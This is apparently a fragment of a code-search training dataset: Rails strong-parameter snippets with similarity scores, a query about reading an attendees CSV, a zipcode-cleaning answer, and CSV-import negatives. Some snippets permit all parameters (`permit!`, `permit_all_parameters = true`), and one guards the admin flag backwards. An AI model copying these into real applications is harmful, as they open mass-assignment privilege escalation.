"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def backend_user_params\n params.permit!\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] |
[
"0.6979893",
"0.6781746",
"0.6746611",
"0.6742344",
"0.6735229",
"0.6592651",
"0.65027124",
"0.6498011",
"0.648163",
"0.647716",
"0.64556813",
"0.64386255",
"0.63784456",
"0.63756156",
"0.636574",
"0.6319542",
"0.63004524",
"0.6299559",
"0.62925464",
"0.62923217",
"0.6289894",
"0.6289475",
"0.62831545",
"0.6242381",
"0.6240358",
"0.6217451",
"0.6214354",
"0.62098235",
"0.61918235",
"0.6177287",
"0.61755854",
"0.61712915",
"0.61620486",
"0.6151379",
"0.61510575",
"0.6145169",
"0.61207956",
"0.6115647",
"0.6107701",
"0.61030304",
"0.60909295",
"0.60797",
"0.60701567",
"0.6062068",
"0.60203075",
"0.60167485",
"0.60125494",
"0.6009718",
"0.6007027",
"0.6007027",
"0.6000283",
"0.59990394",
"0.5996995",
"0.59915864",
"0.59914654",
"0.59912056",
"0.5979621",
"0.596686",
"0.5959418",
"0.59585625",
"0.59583765",
"0.5958032",
"0.5952298",
"0.5951678",
"0.5941885",
"0.59378815",
"0.59376645",
"0.59376645",
"0.5933908",
"0.59302104",
"0.5924862",
"0.5923981",
"0.59165645",
"0.5909916",
"0.590986",
"0.5908378",
"0.5904956",
"0.5897421",
"0.58970135",
"0.5894611",
"0.5893914",
"0.58927566",
"0.5891277",
"0.5885355",
"0.58825094",
"0.58783555",
"0.58728755",
"0.58686864",
"0.5867015",
"0.58660764",
"0.58659357",
"0.5864526",
"0.58634263",
"0.5861585",
"0.5861255",
"0.5858771",
"0.58579147",
"0.5854071",
"0.5853147",
"0.58498794",
"0.58492327"
] |
0.0
|
-1
|
Read File Contents contents = File.read("event_attendees.csv") Read File Line by Line lines = File.readlines("event_attendees.csv") lines.each_with_index do |line, row_index| next if row_index == 0 columns = line.split(",") name = columns[2] end Parsing using CSV Library and Google API Client Using an ERB Template
|
def clean_zipcode(zipcode)
if zipcode.nil?
"00000"
elsif zipcode.length < 5
zipcode.rjust(5, "0")
elsif zipcode.length > 5
zipcode[0..4]
else
zipcode
end
# One line code -> zipcode.to_s.rjust(5, "0")[0..4]
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def import_from_csv(file_name)\r\n #implementation goes here\r\n csv_text = File.read(file_name)\r\n csv = CSV.parse(csv_text, headers: true, skip_blanks: true)\r\n # #8 iterate over table rows, create hash for each, then convert to Entry using 'add_entry' method\r\n csv.each do |row|\r\n row_hash = row.to_hash\r\n add_entry(row_hash[\"name\"], row_hash[\"phone_number\"], row_hash[\"email\"])\r\n end #end csv.each loop\r\n end",
"def main \n skip_first = true\n headers = []\n CSV.foreach('to_email.csv', :encoding => \"UTF-8\") do |row|\n if skip_first\n headers = row\n skip_first = false\n next\n else\n cur = File.open(\"#{row[5].to_s}.txt\", 'a')\n cur << \"Hi,\n\nBelow is the feedback you received from your customer:\" << \"\\n\\n\"\n headers.zip(row).each do |header, val|\n if header == \"emails\"\n tmp = val.split\n val = tmp.join(\",\")\n cur << \"Customer Feedback, Iteration 2\\n\"\n cur << val << \"\\n\\n\"\n next\n end\n if header == \"Which project is this feedback for?\"\n next\n end\n cur << header << \"\\n\"\n cur << val << \"\\n\\n\"\n end\n cur.close\n end\n end\n\nend",
"def parse_csv(csv_file)\n\n # Loop through all entries in CSV file\n CSV.foreach(csv_file, :quote_char => \"\\\"\") do |row|\n next if row[0] == \"From\" && row[1] == \"To\"\n next if row[0].nil?\n\n # [0, 1] refers to the 2 addresses in the csv file\n [0, 1].each do |i|\n add_location(row[i])\n end\n\n add_journey(row)\n end\nend",
"def import_from_csv(file_name)\n # implementation\n csv_text = File.read(file_name)\n # the variable 'csv' is a table type object\n csv = CSV.parse(csv_text, headers: true, skip_blanks: true)\n \n # \n csv.each do |row|\n # create a hash type variable 'row_hash'\n row_hash = row.to_hash\n # use 'add_entry' to change 'row_hash' into 'Entry', also add the new Entry into AddressBook's entries\n add_entry(row_hash[\"name\"], row_hash[\"phone_number\"], row_hash[\"email\"])\n end\n end",
"def import_from_csv(file_name)\n csv_text = File.read(file_name)\n csv = CSV.parse(csv_text, headers: true, skip_blanks: true)\n # #8 iterate over the CSV::Table rows then create a hash for each row, convert each row_hash\n #to an Entry by using the add_entry method\n csv.each do |row|\n row_hash = row.to_hash\n add_entry(row_hash[\"name\"], row_hash[\"phone_number\"], row_hash[\"email\"])\n end\n end",
"def csv\n require 'csv'\n\n unless params[:uploaded_csv].blank?\n csv_path = params[:uploaded_csv].path\n\n # Wipe database on csv load, will need to be modified when event RSS feeds are fixed\n data_validated = false\n begin\n CSV.foreach(csv_path, :headers => true) do |row|\n csv_building = row[1]\n csv_room_number = row[3]\n csv_room_name = row[4]\n csv_department = row[7]\n csv_person_name = row[9] #can be general purpose name like 'general graduate student'\n csv_last_name, csv_first_name = csv_person_name.split(',').map(&:strip)\n\n csv_person_department = row[11] # appears to be less relevant to our needs\n csv_organization = row[12]\n csv_org_code, csv_person_organization = csv_organization.split(' ', 2) # Use this for department\n csv_phone = row[13]\n csv_email = row[14]\n\n # Destroy data only if the first row was parsed successfully\n unless data_validated\n Rails.logger.debug \"[[[[[[ Data validated, wiping db!!! ]]]]]]\"\n Person.destroy_all\n Department.destroy_all\n DirectoryObject.where(type: \"Room\").delete_all\n data_validated = true\n end\n\n # Don't bother with this row if a room number doesn't exist\n if csv_room_number != \"\"\n # Parse Rooms\n results = Room.where(room_number: csv_room_number)\n # Found new room?\n if results.empty?\n room = Room.new\n room.room_number = csv_room_number\n room.save\n else\n room = results.first\n end\n\n # Ensure custom data has not already been set\n # if room.name.blank?\n # room.name = csv_room_name\n # room.save\n # end\n # Parse Department\n # Don't bother with department/person parsing, something is wrong with this row\n unless csv_organization.include?(\"Identity Purged\")\n department = nil\n results = Department.where(title: csv_person_organization.downcase).first\n if results.blank?\n department = Department.new\n if csv_person_organization.present?\n department.title = (csv_person_organization).downcase\n department.save\n else\n logger.info \"entry was missing an organization\"\n end\n else\n department = results\n end\n\n # Parsing Person\n results = Person.where(email: csv_email)\n\n # Found new person?\n if results.empty?\n person = Person.new\n\n # Found existing person?\n else\n person = results.first\n end\n # Ensure room is associated\n if room.present?\n if not person.rooms.include?(room)\n person.rooms << room\n end\n end\n # Ensure department is associated\n # Currently assumes each person has one department, seems to be the case from the data\n if person.department.blank?\n if department.present?\n person.department = department\n end\n end\n person.email = csv_email\n person.phone = csv_phone\n person.first = csv_first_name\n person.last = csv_last_name\n person.save\n end\n end\n end\n\n notice = \"CSV was successfully parsed\"\n rescue\n error = \"CSV file contains invalid data\"\n end\n else\n error = \"Error uploading file\"\n end # unless csv_path.blank?\n\n respond_to do |format|\n format.html {\n redirect_to action: \"index\",\n error: error,\n notice: notice\n }\n end\n end",
"def csv\n require 'csv'\n\n unless params[:uploaded_csv].blank?\n csv_path = params[:uploaded_csv].path\n\n # Wipe database on csv load, will need to be modified when event RSS feeds are fixed\n data_validated = false\n begin\n CSV.foreach(csv_path, :headers => true) do |row|\n csv_building = row[1]\n csv_room_number = row[3]\n csv_room_name = row[4]\n csv_department = row[7]\n csv_person_name = row[9] #can be general purpose name like 'general graduate student'\n csv_last_name, csv_first_name = csv_person_name.split(',').map(&:strip)\n\n csv_person_department = row[11] # appears to be less relevant to our needs\n csv_organization = row[12]\n csv_org_code, csv_person_organization = csv_organization.split(' ', 2) # Use this for department\n csv_phone = row[13]\n csv_email = row[14]\n\n # Destroy data only if the first row was parsed successfully\n unless data_validated\n Rails.logger.debug \"[[[[[[ Data validated, wiping db!!! ]]]]]]\"\n Person.destroy_all\n Department.destroy_all\n DirectoryObject.where(type: \"Room\").delete_all\n data_validated = true\n end\n\n # Don't bother with this row if a room number doesn't exist\n if csv_room_number != \"\"\n # Parse Rooms\n results = Room.where(room_number: csv_room_number)\n # Found new room?\n if results.empty?\n room = Room.new\n room.room_number = csv_room_number\n room.save\n else\n room = results.first\n end\n\n # Ensure custom data has not already been set\n # if room.name.blank?\n # room.name = csv_room_name\n # room.save\n # end\n # Parse Department\n # Don't bother with department/person parsing, something is wrong with this row\n unless csv_organization.include?(\"Identity Purged\")\n department = nil\n results = Department.where(title: csv_person_organization.downcase).first\n if results.blank?\n department = Department.new\n if csv_person_organization.present?\n department.title = (csv_person_organization).downcase\n department.save\n else\n logger.info \"entry was missing an organization\"\n end\n else\n department = results\n end\n\n # Parsing Person\n results = Person.where(email: csv_email)\n\n # Found new person?\n if results.empty?\n person = Person.new\n\n # Found existing person?\n else\n person = results.first\n end\n # Ensure room is associated\n if room.present?\n if not person.rooms.include?(room)\n person.rooms << room\n end\n end\n # Ensure department is associated\n # Currently assumes each person has one department, seems to be the case from the data\n if person.department.blank?\n if department.present?\n person.department = department\n end\n end\n person.email = csv_email\n person.phone = csv_phone\n person.first = csv_first_name\n person.last = csv_last_name\n person.save\n end\n end\n end\n\n notice = \"CSV was successfully parsed\"\n rescue\n error = \"CSV file contains invalid data\"\n end\n else\n error = \"Error uploading file\"\n end # unless csv_path.blank?\n\n respond_to do |format|\n format.html {\n redirect_to action: \"index\",\n error: error,\n notice: notice\n }\n end\n end",
"def import\n CSV.foreach(@file.path, :converters => :all, :return_headers => false, :headers => :first_row) do |row|\n campaign_id, source, tag, created_at, first_name, last_name,\n email, phone, company, title, status, background_info, comments,\n street1, street2, city, state, zip, country = *row.to_hash.values\n\n #TODO: implement smarter_csv and/or resque\n # https://github.com/tilo/smarter_csv\n # https://github.com/resque/resque\n\n # Rails.logger.info \"XXXXXXXX created_at#{created_at}\"\n\n if @make_contact\n # Don't Allow Duplicates\n contact = Contact.find_or_initialize_by_first_name_and_last_name_and_email(\n first_name,\n last_name,\n email\n ).tap do |contact|\n contact.user_id = @assigned.id,\n contact.source = source,\n contact.first_name = first_name,\n contact.last_name = last_name,\n contact.email = email,\n contact.phone = phone,\n # contact.company = company,\n contact.title = title,\n # contact.status = status,\n contact.background_info = process_bg_info(contact.background_info, background_info),\n contact.created_at = created_at.to_time rescue Time.current\n end\n contact.save!\n\n contact.first_name = \"INCOMPLETE\" if contact.first_name.blank?\n contact.last_name = \"INCOMPLETE\" if contact.last_name.blank?\n # contact.access? = \"Private | Public\"\n contact.access = Setting.default_access\n contact.assignee = @assigned if @assigned.present?\n contact.tag_list.add(tag)\n contact.add_comment_by_user(comments, @assigned)\n\n contact.save!\n\n #TODO: Better validation on address fields.\n if zip\n contact.business_address = Address.new(:street1 => street1, :street2 => street2, :city => city, :state => state, :zipcode => zip, :country => country, :address_type => \"Business\")\n else\n puts \"INCOMPLETE ADDRESS\"\n end\n contact.save!\n\n #\n if contact.account_contact.nil?\n\n if company\n account_name = company\n else\n account_name = contact.first_name + ' ' + contact.last_name + ' (Individual)'\n end\n\n #TODO: rails 4 Account.find_or_initialize_by(name: account_name)\n account = Account.find_or_initialize_by_name(account_name).tap do |account|\n account.user_id = @assigned.id\n account.assignee = @assigned if @assigned.present?\n account.access = contact.access\n account.category = 'customer'\n end\n account.save!\n\n contact.account_contact = AccountContact.new(:account => account, :contact => contact)\n\n # Rails.logger.info \"XXXXXXXX ACCOUNT CONTACT CREATED! #{contact.account_contact.inspect}\"\n\n # contact_account = { account: { id: account.id }, access: contact.access }\n # @account, @opportunity, @contact = contact.promote(contact_account)\n # contact = Contact.find(@contact)\n end\n\n # Rails.logger.info \"XXXXXXXX CONTACT CREATED! #{contact.inspect}\"\n\n else\n\n # Allow Duplicates\n # lead = Lead.new(\n # :user_id => @assigned.id,\n # :campaign_id => campaign_id.to_i,\n # :source => source,\n # :first_name => first_name,\n # :last_name => last_name,\n # :email => email,\n # :phone => phone,\n # :company => company,\n # :title => title, :status => status,\n # :background_info => background_info,\n # :created_at => created_at.to_time\n # )\n\n\n #TODO: rails 4 Lead.find_or_initialize_by(email: email) without tap\n # Don't Allow Duplicates\n lead = Lead.find_or_initialize_by_first_name_and_last_name_and_email(\n first_name,\n last_name,\n email\n ).tap do |lead|\n lead.user_id = @assigned.id,\n lead.campaign_id = campaign_id.to_i,\n lead.source = source,\n lead.first_name = first_name,\n lead.last_name = last_name,\n lead.email = email,\n lead.phone = phone,\n lead.company = company,\n lead.title = title,\n lead.status = status,\n lead.background_info = process_bg_info(lead.background_info, background_info),\n lead.created_at = created_at.to_time rescue Time.current\n end\n lead.save!\n\n lead.first_name = \"INCOMPLETE\" if lead.first_name.blank?\n lead.last_name = \"INCOMPLETE\" if lead.last_name.blank?\n\n # lead.access? = \"Private | Public\"\n lead.access = Setting.default_access\n lead.assignee = @assigned if @assigned.present?\n lead.tag_list.add(tag)\n lead.add_comment_by_user(comments, @assigned)\n lead.save!\n\n #TODO: Better validation on address fields.\n if zip\n lead.business_address = Address.new(:street1 => street1, :street2 => street2, :city => city, :state => state, :zipcode => zip, :country => country, :address_type => \"Business\")\n else\n puts \"INCOMPLETE ADDRESS\"\n end\n lead.save!\n\n end\n end\n\n\n end",
"def import_csv\n @records = CSV.read(@filename, :headers => true, :row_sep => :auto)\n unless @records.blank?\n @linenum = 0\n if @filename.index('att') || @filename.index('Att')\n @school_year = Time.parse(@records[0][\"AbsenceDate\"]).year\n end\n @records.each { |rec |\n @linenum += 1\n @record = rec\n next unless check_record(@record)\n seed_record(@record)\n process_record(@record, rec2attrs(@record)) if rec2attrs(@record) != false\n }\n end \n end",
"def get_all_addresses\n response = []\n\n CSV.foreach(FILE_NAME) do |row|\n response << row[0]\n end\n\n response\nend",
"def seed_events_from_csv(seed_file)\n # seed rsvps\n username_h = User.pluck(:username,:id).to_h\n event_h = {}\n all_rsvp_values = []\n\n # seed each event, and collect it's rsvps\n CSV.foreach(seed_file, headers: true) do |row|\n allday = ActiveModel::Type::Boolean.new.cast(row[\"allday\"])\n\n next if !allday && (DateTime.parse(row[\"endtime\"]) < DateTime.parse(row[\"starttime\"]))\n\n event = Event.create!(row.to_h.merge(allday: allday).except(AppConstant::Defaults::USER_RSVP_COLUMN))\n event_h[event.id] = event\n\n all_rsvp_values += row[AppConstant::Defaults::USER_RSVP_COLUMN].to_s.split(AppConstant::Defaults::RSVP_USER_SEPARATOR).map do |val|\n username, rsvp = val.split(AppConstant::Defaults::RSVP_VALUE_SEPARATOR)\n { event_id: event.id, user_id: username_h[username], rsvp: rsvp }\n end\n end\n\n no_maybe_rsvp_values, yes_rsvp_values = all_rsvp_values.partition { |e| e[:rsvp] != \"yes\" }\n all_rsvp_values = no_maybe_rsvp_values + update_yes_rsvps(yes_rsvp_values, event_h)\n\n # seed rsvps in bulk\n insert_in_bulk(EventUser, all_rsvp_values)\nend",
"def import\n CSV.new(open(uri), headers: :first_row).each_with_index do |csv_row, i|\n begin\n create_departure(csv_row: csv_row)\n rescue => e\n # this is a catch all for all the types of parsing errors that could\n # occur above\n csv_logger.info(\n I18n.t('import_exception', scope: LOCALE, row_number: i)\n )\n csv_logger.error(e)\n end\n end\n end",
"def import_from_csv(file_name)\n csv_text = File.read(file_name)\n csv = CSV.parse(csv_text, headers: true, skip_blanks: true)\n # Iterate over the CSV::Table object's rows, create a string for each row, and convert each row to a Client by using the create_client method.\n csv.each do |row|\n name, facebook_id, twitter_handle = row.to_s.split(\",\").map(&:chomp)\n create_client(name, facebook_id, twitter_handle)\n end\n end",
"def import_from_csv(file_name)\n csv_text = File.read(file_name)\n csv = CSV.parse(csv_text, headers: true, skip_blanks: true)\n # Iterate over the CSV::Table object's rows. Then create a has for each row.\n # Convert each row_hash to an entry by using add_entry method.\n csv.each do |row|\n row_hash = row.to_hash\n add_entry(row_hash[\"name\"], row_hash[\"phone_number\"], row_hash[\"email\"])\n end\n end",
"def parse_csv(csv, &row_block)\n CSV.parse(Encoding.to_utf_8(File.read(\"#{install_path}/Edit Scripts/#{csv}.csv\", mode: 'rb'))).each(&row_block)\n end",
"def import_from_csv(file_name)\n csv_text = File.read(file_name)\n csv = CSV.parse(csv_text, headers: true)\n # Iterate over the table object's rows\n csv.each do |row|\n # Create a hash for each row\n row_hash = row.to_hash\n # Convert each row_hash to an Entry by using add_entry method\n add_entry(row_hash[\"name\"], row_hash[\"phone_number\"], row_hash[\"email\"])\n end\n\n # Get the number of items parsed by calling the count method\n return csv.count\n end",
"def index\n if params[:format] == 'csv'\n headers.merge!({\n 'Cache-Control' => 'must-revalidate, post-check=0, pre-check=0',\n 'Content-Type' => 'text/csv',\n 'Content-Disposition' => \"attachment; filename=\\\"data.csv\\\"\",\n 'Content-Transfer-Encoding' => 'binary'\n })\n @column_names, @column_spans = get_csv_columns\n end\n if params[:id].blank?\n @roles = get_roles\n else\n @roles = [get_role]\n end\n respond_with @event, @roles\n end",
"def parse_participant_import(csv_file, options, program, session, division)\n \n # This was initially designed to have a previewable import of participants\n # We are bypassing this step and going directly to import\n \n csv_data = FasterCSV.parse(csv_file.read)\n column_indices = map_importable_columns(csv_data[0])\n importable_participants = Array.new\n csv_data[1..csv_data.size-1].each do |csv_data_row|\n importable_participant = Hash.new\n IMPORTABLE_COLUMNS.each_with_index do |column_name, i|\n importable_participant[column_name.to_sym] = csv_data_row[column_indices[i]]\n end\n unless importable_participant[:name].blank?\n unless program.blank?\n importable_participant[:program] = program\n end\n unless session.blank?\n importable_participant[:session] = session\n end\n unless division.blank?\n importable_participant[:division] = division\n end\n importable_participants << importable_participant\n if options == \"load\"\n imported_participant = Participant.create_from_confirm_import(@hub, importable_participant)\n end\n end\n end\n importable_participants \n end",
"def read_data(users_csv_path, cases_csv_path, tasks_csv_path, correspondence_csv_path, start_date, end_date)\n\n\tusers = []\n\n\t#read string as path\n\tputs \"Reading CSV data...\" \n\tusers_csv = CSV.read(users_csv_path, {encoding: \"UTF-8\", headers: true, skip_blanks: true, header_converters: :symbol, converters: :all})\n\tcases_csv = CSV.read(cases_csv_path, {encoding: \"UTF-8\", headers: true, header_converters: :symbol, converters: :all})\n\ttasks_csv = CSV.read(tasks_csv_path, {encoding: \"UTF-8\", headers: true, header_converters: :symbol, converters: :all})\n\n\tcorrespondence_csv = []\n\tCSV.foreach(correspondence_csv_path, {encoding: \"UTF-8\", headers: true, header_converters: :symbol, converters: :all}) do |row|\n\t\tcorrespondence_date = Date.strptime(row[3], \"%m/%d/%Y %H:%M\") if !row[3].nil?\n \t\tcorrespondence_csv << row if ((correspondence_date >= start_date) && (correspondence_date <= end_date))\n\tend\n\n\t#user list processing\n\tputs \"Processing Users...\"\n\tusers_csv.each do |line|\n\t \tuser_id = line[:userid]\n\t \tteam = line[:team]\n\t\tname = line[:name]\n\t\ta_number = line[:a_number]\n\n\t\ttemp_user = User.new(user_id, a_number, name, team)\n\t\tusers.push(temp_user)\n\tend\n\n\t#case list processing\n\tputs \"Processing Cases...\"\n\tcases_csv.each do |line|\n\t\tcase_number = line[:caseno]\n\t\tstatus = line[:status]\n\t\tcreate_date = line[:createdate]\n\t\tclose_date = line[:closedate]\n\t\ta_number = line[:owner]\n\t\tcase_type = line[:casetype]\n\n\t\t#only read in Support cases\n\t\tnext if case_type != 'Support'\n\n\t\tcreate_date = nil if create_date.nil? || create_date.empty?\n\t\tcreate_date = Date.strptime(create_date, \"%m/%d/%Y %H:%M:%S\") unless create_date.nil?\n\t\tclose_date = nil if close_date.nil? || close_date.empty?\n\t\tclose_date = Date.strptime(close_date, \"%m/%d/%Y %H:%M:%S\") unless close_date.nil?\n\n\t\t#simple check on days open before adding data to Case\n\t\tif !create_date.nil? && !close_date.nil? && status == -1 && close_date < end_date\n\t\t\tdays_open = (close_date - create_date).to_i\n\t\telsif create_date <= end_date\n\t\t\tdays_open = (end_date - create_date).to_i\n\t\tend\n\n\t\ttemp_case = Case.new(case_number, create_date, close_date, a_number, case_type, status, days_open)\n\n\t\tusers.select do |user|\n\t\t\tuser.add_cases(temp_case) if user.a_number == a_number\n\t\tend\n\tend\n\n\t#task list processing\n\tputs \"Processing Tasks...\"\n\ttasks_csv.each do |line|\n\t\tcomplete_date = line[:completedate]\n\t\ta_number = line[:taskowner]\n\t\thours = line[:actualhours].to_f\n\t\tcase_number = line[:caseno]\n\n\t\tcomplete_date = nil if complete_date.nil? || complete_date.empty?\n\t\tcomplete_date = Date.strptime(complete_date, \"%m/%d/%Y %H:%M:%S\") unless complete_date.nil?\n\n\t\t#puts \"#{a_number} - #{case_number} - #{hours} - #{complete_date}\" if (hours > 20) && (!complete_date.nil? && (complete_date >= start_date && complete_date <= end_date))\n\t\t\n\t\t#add task to user's task list if anumber matches the user\n\t\tusers.select do |user|\n\t\t\tuser.add_tasks(Struct::Task.new(complete_date, a_number, hours)) if user.a_number == a_number && (!complete_date.nil? && (complete_date >= start_date && complete_date <= end_date))\n\t\tend\n\tend\n\n\t#sort the correspondence by case number followed by entry date\n\tputs \"Sorting Correspondence...\"\n\tcorrespondence_csv.sort_by! { |x| [x[:caseno], x[:entrydate]]}\n\n\t#correspondence list processing\n\tputs \"Processing Correspondence...\"\n\n\tcorrespondence_csv.each do |line|\n\t\tcase_number = line[:caseno]\n\t\tentry_date = line[:entrydate]\n\t\tcomment = line[:comment].to_s\n\t\tentry_date = Date.strptime(entry_date, \"%m/%d/%Y %H:%M\") unless entry_date.nil?\n\n\t\t#only save correspondence to the case if it is in the user specified time period\n\t\tusers.select do |user|\n\t\t\tuser.cases.select do |ticket|\n\t\t\t\tticket.add_correspondence(Struct::Correspondence.new(entry_date, comment)) if case_number == ticket.case_number\n\t\t\tend\n\t\tend\n\n\tend\n\n\treturn users\nend",
"def template(event={})\r\n content = <<EOF\r\n<?xml version=\"1.0\"?>\r\n<entry xmlns='http://www.w3.org/2005/Atom'\r\n xmlns:gd='http://schemas.google.com/g/2005'>\r\n <category scheme='http://schemas.google.com/g/2005#kind'\r\n term='http://schemas.google.com/g/2005#event'></category>\r\n <title type='text'>#{event[:title]}</title>\r\n <content type='text'>#{event[:content]}</content>\r\n <author>\r\n <name>#{event[:author]}</name>\r\n <email>#{event[:email]}</email>\r\n </author>\r\n <gd:transparency\r\n value='http://schemas.google.com/g/2005#event.opaque'>\r\n </gd:transparency>\r\n <gd:eventStatus\r\n value='http://schemas.google.com/g/2005#event.confirmed'>\r\n </gd:eventStatus>\r\n <gd:where valueString='#{event[:where]}'></gd:where>\r\n <gd:when startTime='#{event[:startTime]}' endTime='#{event[:endTime]}'>\r\n #{event[:reminders]}\r\n </gd:when>\r\n</entry>\r\nEOF\r\n end",
"def import(params)\r\n if lines = params[:contact][:import_text]\r\n lines = params[:contact][:import_text].gsub(\"\\n\", '').split(\"\\r\")\r\n if lines.count >= 2\r\n header_labels = lines[0].split(',')\r\n lines.delete_at(0) # remove the header\r\n\r\n lines.each do |line|\r\n fields = line.split(',') # get fields\r\n\r\n if fields.count >= 5 # skip blank lines and short data\r\n name = fields[0].split(' ') # split name into first name and last name\r\n first_name = name[0] # address books can be a mess, so we're just assuming first name is first.\r\n last_name = '' # Assume no last name is provided.\r\n\r\n # If the name is something like \"John Van Burk\" then the first name will be \"John\" and the last name \"Van Burk\"\r\n if name.count >= 2\r\n last_name = name[1..-1].join(' ') # concat rest of name data.\r\n end\r\n\r\n # The google contacts export will have phone numbers like this:\r\n # Home,<home phone #>,\r\n # Work,<work phone #>,\r\n # Mobile,<cell phone #>,\r\n # If there's multiple phone #'s for a category, they will appear as <phone #> ::: <phone #> (yes, literally \" ::: \" with the spaces.)\r\n # Example:\r\n # Emma,,,Emma,,,,,,,,,,,,,,,,,,,,,,,* My Contacts,,,Home,5183290085,Mobile,5188211924 ::: 8577531441,,,,\r\n\r\n work_phone = get_phone('Work', header_labels, fields)\r\n home_phone = get_phone('Home', header_labels, fields)\r\n cell_phone = get_phone('Mobile', header_labels, fields)\r\n email = fields[header_labels.index('E-mail 1 - Value')]\r\n website = fields[header_labels.index('Website 1 - Value')]\r\n\r\n contact = Contact.new({user_id: session[:user_id], first_name: first_name, last_name: last_name, home_phone: home_phone, work_phone: work_phone, cell_phone: cell_phone, email: email, website: website})\r\n contact.save()\r\n end\r\n end\r\n else\r\n flash[:notice] = 'Please provide some data besides the header to import.'\r\n end\r\n else\r\n flash[:notice] = 'Please provide some data to import.'\r\n end\r\n\r\n nil\r\n end",
"def parse_csv\n CSV.parse(File.read(\"DeleteMe.csv\")) do |row|\n puts row.class\n #project = @rally.find(RallyAPI::RallyQuery.new({:type => :project, :query_string => \"(Name = #{row[\"Name\"]})\"}))\n project = @rally.find(RallyAPI::RallyQuery.new({:type => :project, :query_string => \"(Name = \\\"#{row.first}\\\")\"}))\n puts project\n project = project.first\n fields = {}\n fields[:state] = 'Closed'\n fields[:notes] = close_reason(project)\n project.update(fields)\n end\n # File.open(\"DeleteMe.csv\", \"r\") do |f|\n # f.each_line do |line|\n # puts line\n # end\n # end\n end",
"def parse_csv(path)\n require 'csv'\n\n str = Nitro::Template.new.render(File.read(path))\n\n reader = CSV::Reader.create(str)\n header = reader.shift\n\n reader.each_with_index do |row, i|\n data = {}\n row.each_with_index do |cell, j|\n data[header[j].to_s.strip] = cell.to_s.strip\n end\n self[\"#{@name}_#{i+1}\"] = obj = instantiate(data)\n @objects << obj\n end\n end",
"def load_file (filename = \"students.csv\")\n CSV.foreach(filename) do |row|\n name, cohort, food = row.map{ |element| element.chomp}\n add_student(name, cohort, food)\n end\nend",
"def import\n CSV.foreach(@file.path, :converters => :all, :return_headers => false, :headers => :first_row) do |row|\n source, first_name, last_name, _, company, phone, *address = *row.to_hash.values\n\n street, city, state, zip, _ = *address\n address = Address.new(:street1 => street, :city => city, :state => state, :zipcode => zip)\n\n lead = Lead.new(:source => source, :first_name => first_name, :last_name => last_name,\n :company => company, :phone => phone)\n\n lead.first_name = \"FILL ME\" if lead.first_name.blank?\n lead.last_name = \"FILL ME\" if lead.last_name.blank?\n lead.access = \"Private\"\n lead.addresses << address\n\n lead.assignee = @assigned if @assigned.present?\n\n lead.save!\n end\n end",
"def load_from_csv(row)\n payload = {\n emails: [{ email: row['email'] }],\n firstname: row['first_name'],\n lastname: row['last_name'],\n external_ids: { controlshift: row['id'] },\n updated_at: row['updated_at']\n }\n UpsertMember.call(payload)\n end",
"def prepare_csv\n unparsed_file = File.open(csv.path)\n self.parsed_csv_string = \"\"\n string = unparsed_file.readlines()\n string.each_with_index do |line,i|\n parsed_line = line.encode('UTF-8', 'binary', invalid: :replace, undef: :replace, replace: '').gsub(/,\\\"\\\"/,'')\n # for some reason the iRacing CSV file is buggy.\n unless parsed_line == \"\\n\"\n if i == 5 or i == 6\n parsed_line = parsed_line.gsub(/\\n/,\"\\r\\n\")\n end\n self.parsed_csv_string << parsed_line\n end\n end\n unparsed_file.close\n end",
"def csvread (filename)\n File.readlines(filename).each do |line|\n if line && !empty?(line)\n num, code, kind, desc, contenten, contentme = line.split(\"\\t\")\n\n num = num\n code = clean(code)\n kind = clean(kind)\n contenten = clean(contenten)\n contentme = clean(contentme)\n\n yield num, code, kind, desc, contenten, contentme\n end\n end\nend",
"def read_csv_file(file_path, &block)\n if File.exist?(file_path)\n CSV.foreach(file_path, headers: true) do |row|\n block.call(row)\n end\n end\n rescue StandardError\n #TODO report the error to developers\n Rails.logger.info(\"Import #{file_path} failed\")\n end",
"def each\n\t\t\tfilename = self.class.to_s.downcase + '.txt'\n\t\t\tfile = File.new(filename)\n\t\t\t@headers = file.gets.chomp.split(', ')\n\n\t\t\tfile.each { |row| yield CsvRow.new(row.chomp.split(', ')) }\n\t\tend",
